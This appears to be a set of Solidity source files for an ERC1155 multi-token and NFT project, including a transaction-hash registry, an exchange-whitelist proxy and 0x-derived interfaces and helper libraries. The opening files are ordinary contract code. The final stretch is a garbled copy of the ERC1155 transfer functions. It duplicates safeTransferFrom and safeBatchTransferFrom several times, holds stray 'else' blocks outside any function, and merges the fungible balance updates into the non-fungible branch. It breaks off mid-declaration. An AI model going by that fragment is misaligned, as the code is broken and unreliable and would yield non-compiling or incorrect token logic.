"./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract MixinPausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } pragma solidity ^0.7.0; import "./library/LibSafeMath.sol"; import "./ERC1155Mintable.sol"; import "./mixin/MixinOwnable.sol"; contract HashRegistry is Ownable { using LibSafeMath for uint256; ERC1155Mintable public mintableErc1155; mapping(uint256 => uint256) public tokenIdToTxHash; mapping(uint256 => uint256) public txHashToTokenId; mapping(address => bool) public permissedWriters; constructor( address _mintableErc1155 ) { permissedWriters[msg.sender] = true; mintableErc1155 = ERC1155Mintable(_mintableErc1155); } event UpdatedRegistry( uint256 tokenId, uint256 txHash ); modifier onlyIfPermissed(address writer) { require(permissedWriters[writer] == true, "writer can't write to registry"); _; } function updatePermissedWriterStatus(address _writer, bool status) public onlyIfPermissed(msg.sender) { permissedWriters[_writer] = status; } function writeToRegistry(uint256[] memory tokenIds, uint256[] memory txHashes) public onlyIfPermissed(msg.sender) { require(tokenIds.length == txHashes.length, "tokenIds and txHashes size mismatch"); for (uint256 i = 0; i < tokenIds.length; ++i) { uint256 tokenId = tokenIds[i]; uint256 txHash = txHashes[i]; require(mintableErc1155.ownerOf(tokenId) != address(0), 'token does not exist'); require(txHashToTokenId[txHash] == 0, 'txHash already exists'); require(tokenIdToTxHash[tokenId] == 0, 'tokenId already exists'); tokenIdToTxHash[tokenId] = txHash; txHashToTokenId[txHash] = tokenId; emit UpdatedRegistry(tokenId, txHash); } } } pragma solidity ^0.7.0; library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } pragma solidity ^0.7.0; library LibSafeMathRichErrors { // bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)")) bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR = 0xe946c1bb; // bytes4(keccak256("Uint256DowncastError(uint8,uint256)")) bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR = 0xc996af7b; enum BinOpErrorCodes { ADDITION_OVERFLOW, MULTIPLICATION_OVERFLOW, SUBTRACTION_UNDERFLOW, DIVISION_BY_ZERO } enum DowncastErrorCodes { VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96 } // solhint-disable func-name-mixedcase function Uint256BinOpError( BinOpErrorCodes errorCode, uint256 a, uint256 b ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_BINOP_ERROR_SELECTOR, errorCode, a, b ); } function Uint256DowncastError( DowncastErrorCodes errorCode, uint256 a ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_DOWNCAST_ERROR_SELECTOR, errorCode, a ); } } pragma solidity ^0.7.0; /** * Utility library of inline functions on addresses */ library LibAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } pragma solidity ^0.7.0; import "./library/LibSafeMath.sol"; import "./library/LibAddress.sol"; import "./interface/IERC1155.sol"; import "./interface/IERC1155Receiver.sol"; import "./mixin/MixinNonFungibleToken.sol"; import "./mixin/MixinOwnable.sol"; import "./WhitelistExchangesProxy.sol"; contract ERC1155 is IERC1155, MixinNonFungibleToken, Ownable { using LibAddress for address; using LibSafeMath for uint256; // selectors for receiver callbacks bytes4 constant public ERC1155_RECEIVED = 0xf23a6e61; bytes4 constant public ERC1155_BATCH_RECEIVED = 0xbc197c81; // id => (owner => balance) mapping (uint256 => mapping(address => uint256)) internal balances; // owner => (operator => approved) mapping (address => mapping(address => bool)) internal operatorApproval; address public exchangesRegistry; function setExchangesRegistry(address newExchangesRegistry) external onlyOwner() { exchangesRegistry = newExchangesRegistry; } /// @notice Transfers value amount of an _id from the _from address to the _to address specified. /// @dev MUST emit TransferSingle event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if balance of sender for token `_id` is lower than the `_value` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`. /// @param from Source address /// @param to Target address /// @param id ID of the token type /// @param value Transfer amount /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) override external { // sanity checks require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); // perform transfer if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; // You could keep balance of NF type in base type id like so: // uint256 baseType = getNonFungibleBaseType(_id); // balances[baseType][_from] = balances[baseType][_from].safeSub(_value); // balances[baseType][_to] = balances[baseType][_to].safeAdd(_value); } else { balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } emit TransferSingle(msg.sender, from, to, id, value); // if `to` is a contract then trigger its callback if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received( msg.sender, from, id, value, data ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } /// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call). /// @dev MUST emit TransferBatch event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if length of `_ids` is not the same as length of `_values`. /// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`. /// @param from Source addresses /// @param to Target addresses /// @param ids IDs of each token type /// @param values Transfer amounts per token type /// @param data Additional data with no specified format, sent in call to `_to` function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) override external { // sanity checks require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( ids.length == values.length, "TOKEN_AND_VALUES_LENGTH_MISMATCH" ); // Only supporting a global operator approval allows us to do // only 1 check and not to touch storage to handle allowances. require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); // perform transfers for (uint256 i = 0; i < ids.length; ++i) { // Cache value to local variable to reduce read costs. uint256 id = ids[i]; uint256 value = values[i]; if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; } else { balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } } emit TransferBatch(msg.sender, from, to, ids, values); // if `to` is a contract then trigger its callback if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived( msg.sender, from, ids, values, data ); require( callbackReturnValue == ERC1155_BATCH_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. /// @dev MUST emit the ApprovalForAll event on success. /// @param operator Address to add to the set of authorized operators /// @param approved True if the operator is approved, false to revoke approval function setApprovalForAll(address operator, bool approved) external override { operatorApproval[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } /// @notice Queries the approval status of an operator for a given owner. /// @param owner The owner of the Tokens /// @param operator Address of authorized operator /// @return True if the operator is approved, false if not function isApprovedForAll(address owner, address operator) public override view returns (bool) { bool approved = operatorApproval[owner][operator]; if (!approved && exchangesRegistry != address(0)) { return WhitelistExchangesProxy(exchangesRegistry).isAddressWhitelisted(operator) == true; } return approved; } /// @notice Get the balance of an account's Tokens. /// @param owner The address of the token holder /// @param id ID of the Token /// @return The _owner's balance of the Token type requested function balanceOf(address owner, uint256 id) external override view returns (uint256) { if (isNonFungibleItem(id)) { return nfOwners[id] == owner ? 1 : 0; } return balances[id][owner]; } /// @notice Get the balance of multiple account/token pairs /// @param owners The addresses of the token holders /// @param ids ID of the Tokens /// @return balances_ The _owner's balance of the Token types requested function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) { // sanity check require( owners.length == ids.length, "OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH" ); // get balances balances_ = new uint256[](owners.length); for (uint256 i = 0; i < owners.length; ++i) { uint256 id = ids[i]; if (isNonFungibleItem(id)) { balances_[i] = nfOwners[id] == owners[i] ? 1 : 0; } else { balances_[i] = balances[id][owners[i]]; } } return balances_; } bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.0; import "./IERC1155.sol"; /// @dev Mintable form of ERC1155 /// Shows how easy it is to mint new items interface IERC1155Mintable is IERC1155 { /// @dev creates a new token /// @param isNF is non-fungible token /// @return type_ of token (a unique identifier) function create( bool isNF ) external returns (uint256 type_); /// @dev mints fungible tokens /// @param id token type /// @param to beneficiaries of minted tokens /// @param quantities amounts of minted tokens function mintFungible( uint256 id, address[] calldata to, uint256[] calldata quantities ) external; /// @dev mints a non-fungible token /// @param type_ token type /// @param to beneficiaries of minted tokens function mintNonFungible( uint256 type_, address[] calldata to ) external; } pragma solidity ^0.7.0; import "./MixinOwnable.sol"; contract MixinContractURI is Ownable { string public contractURI; function setContractURI(string calldata newContractURI) external onlyOwner() { contractURI = newContractURI; } } pragma solidity ^0.7.0; import "./MixinOwnable.sol"; import "../library/LibString.sol"; contract MixinTokenURI is Ownable { using LibString for string; string public baseMetadataURI = ""; function setBaseMetadataURI(string memory newBaseMetadataURI) public onlyOwner() { baseMetadataURI = newBaseMetadataURI; } function uri(uint256 _id) public view returns (string memory) { return LibString.strConcat( baseMetadataURI, LibString.uint2hexstr(_id) ); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.0; /// @title ERC-1155 Multi Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md /// Note: The ERC-165 identifier for this interface is 0xd9b67a26. interface IERC1155 { /// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, /// including zero value transfers as well as minting or burning. /// Operator will always be msg.sender. /// Either event from address `0x0` signifies a minting operation. /// An event to address `0x0` signifies a burning or melting operation. /// The total value transferred from address 0x0 minus the total value transferred to 0x0 may /// be used by clients and exchanges to be added to the "circulating supply" for a given token ID. /// To define a token ID with no initial balance, the contract SHOULD emit the TransferSingle event /// from `0x0` to `0x0`, with the token creator as `_operator`. event TransferSingle( address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value ); /// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, /// including zero value transfers as well as minting or burning. ///Operator will always be msg.sender. /// Either event from address `0x0` signifies a minting operation. /// An event to address `0x0` signifies a burning or melting operation. /// The total value transferred from address 0x0 minus the total value transferred to 0x0 may /// be used by clients and exchanges to be added to the "circulating supply" for a given token ID. /// To define multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event /// from `0x0` to `0x0`, with the token creator as `_operator`. event TransferBatch( address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values ); /// @dev MUST emit when an approval is updated. event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /// @dev MUST emit when the URI is updated for a token ID. /// URIs are defined in RFC 3986. /// The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema". event URI( string _value, uint256 indexed _id ); /// @notice Transfers value amount of an _id from the _from address to the _to address specified. /// @dev MUST emit TransferSingle event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if balance of sender for token `_id` is lower than the `_value` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`. /// @param from Source address /// @param to Target address /// @param id ID of the token type /// @param value Transfer amount /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) external; /// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call). /// @dev MUST emit TransferBatch event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if length of `_ids` is not the same as length of `_values`. /// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`. /// @param from Source addresses /// @param to Target addresses /// @param ids IDs of each token type /// @param values Transfer amounts per token type /// @param data Additional data with no specified format, sent in call to `_to` function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external; /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. /// @dev MUST emit the ApprovalForAll event on success. /// @param operator Address to add to the set of authorized operators /// @param approved True if the operator is approved, false to revoke approval function setApprovalForAll(address operator, bool approved) external; /// @notice Queries the approval status of an operator for a given owner. /// @param owner The owner of the Tokens /// @param operator Address of authorized operator /// @return True if the operator is approved, false if not function isApprovedForAll(address owner, address operator) external view returns (bool); /// @notice Get the balance of an account's Tokens. /// @param owner The address of the token holder /// @param id ID of the Token /// @return The _owner's balance of the Token type requested function balanceOf(address owner, uint256 id) external view returns (uint256); /// @notice Get the balance of multiple account/token pairs /// @param owners The addresses of the token holders /// @param ids ID of the Tokens /// @return balances_ The _owner's balance of the Token types requested function balanceOfBatch( address[] calldata owners, uint256[] calldata ids ) external view returns (uint256[] memory balances_); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.0; interface IERC1155Receiver { /// @notice Handle the receipt of a single ERC1155 token type /// @dev The smart contract calls this function on the recipient /// after a `safeTransferFrom`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the ///transaction being reverted /// Note: the contract address is always the message sender /// @param operator The address which called `safeTransferFrom` function /// @param from The address which previously owned the token /// @param id An array containing the ids of the token being transferred /// @param value An array containing the amount of tokens being transferred /// @param data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /// @notice Handle the receipt of multiple ERC1155 token types /// @dev The smart contract calls this function on the recipient /// after a `safeTransferFrom`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted /// Note: the contract address is always the message sender /// @param operator The address which called `safeTransferFrom` function /// @param from The address which previously owned the token /// @param ids An array containing ids of each token being transferred /// @param values An array containing amounts of each token being transferred /// @param data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } pragma solidity ^0.7.0; contract MixinNonFungibleToken { uint256 constant internal TYPE_MASK = uint256(uint128(~0)) << 128; uint256 constant internal NF_INDEX_MASK = uint128(~0); uint256 constant internal TYPE_NF_BIT = 1 << 255; mapping (uint256 => address) internal nfOwners; /// @dev Returns true if token is non-fungible function isNonFungible(uint256 id) public pure returns(bool) { return id & TYPE_NF_BIT == TYPE_NF_BIT; } /// @dev Returns true if token is fungible function isFungible(uint256 id) public pure returns(bool) { return id & TYPE_NF_BIT == 0; } /// @dev Returns index of non-fungible token function getNonFungibleIndex(uint256 id) public pure returns(uint256) { return id & NF_INDEX_MASK; } /// @dev Returns base type of non-fungible token function getNonFungibleBaseType(uint256 id) public pure returns(uint256) { return id & TYPE_MASK; } /// @dev Returns true if input is base-type of a non-fungible token function isNonFungibleBaseType(uint256 id) public pure returns(bool) { // A base type has the NF bit but does not have an index. return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK == 0); } /// @dev Returns true if input is a non-fungible token function isNonFungibleItem(uint256 id) public pure returns(bool) { // A base type has the NF bit but does has an index. return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK != 0); } /// @dev returns owner of a non-fungible token function ownerOf(uint256 id) public view returns (address) { return nfOwners[id]; } } pragma solidity ^0.7.0; import "./mixin/MixinOwnable.sol"; contract WhitelistExchangesProxy is Ownable { mapping(address => bool) internal proxies; bool public paused = true; function setPaused(bool newPaused) external onlyOwner() { paused = newPaused; } function updateProxyAddress(address proxy, bool status) external onlyOwner() { proxies[proxy] = status; } function isAddressWhitelisted(address proxy) external view returns (bool) { if (paused) { return false; } else { return proxies[proxy]; } } } pragma solidity ^0.7.0; contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.7.0; library LibString { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function uint2hexstr(uint i) internal pure returns (string memory) { if (i == 0) { return "0"; } uint j = i; uint len; while (j != 0) { len++; j = j >> 4; } uint mask = 15; bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ uint curr = (i & mask); bstr[k--] = curr > 9 ? byte(uint8(55 + curr)) : byte(uint8(48 + curr)); i = i >> 4; } return string(bstr); } }
selectors for receiver callbacks id => (owner => balance) owner => (operator => approved)
{ using LibAddress for address; using LibSafeMath for uint256; bytes4 constant public ERC1155_RECEIVED = 0xf23a6e61; bytes4 constant public ERC1155_BATCH_RECEIVED = 0xbc197c81; mapping (uint256 => mapping(address => uint256)) internal balances; mapping (address => mapping(address => bool)) internal operatorApproval; address public exchangesRegistry; function setExchangesRegistry(address newExchangesRegistry) external onlyOwner() { exchangesRegistry = newExchangesRegistry; } function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) override external { require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } emit TransferSingle(msg.sender, from, to, id, value); if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received( msg.sender, from, id, value, data ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) override external { require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } emit TransferSingle(msg.sender, from, to, id, value); if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received( msg.sender, from, id, value, data ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } } else { function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) override external { require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } emit TransferSingle(msg.sender, from, to, id, value); if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received( msg.sender, from, id, value, data ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) override external { require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( ids.length == values.length, "TOKEN_AND_VALUES_LENGTH_MISMATCH" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 value = values[i]; if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } } emit TransferBatch(msg.sender, from, to, ids, values); if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived( msg.sender, from, ids, values, data ); require( callbackReturnValue == ERC1155_BATCH_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) override external { require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( ids.length == values.length, "TOKEN_AND_VALUES_LENGTH_MISMATCH" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 value = values[i]; if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } } emit TransferBatch(msg.sender, from, to, ids, values); if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived( msg.sender, from, ids, values, data ); require( callbackReturnValue == ERC1155_BATCH_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) override external { require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( ids.length == values.length, "TOKEN_AND_VALUES_LENGTH_MISMATCH" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 value = values[i]; if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } } emit TransferBatch(msg.sender, from, to, ids, values); if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived( msg.sender, from, ids, values, data ); require( callbackReturnValue == ERC1155_BATCH_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } } else { function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) override external { require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( ids.length == values.length, "TOKEN_AND_VALUES_LENGTH_MISMATCH" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 value = values[i]; if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } } emit TransferBatch(msg.sender, from, to, ids, values); if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived( msg.sender, from, ids, values, data ); require( callbackReturnValue == ERC1155_BATCH_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } function setApprovalForAll(address operator, bool approved) external override 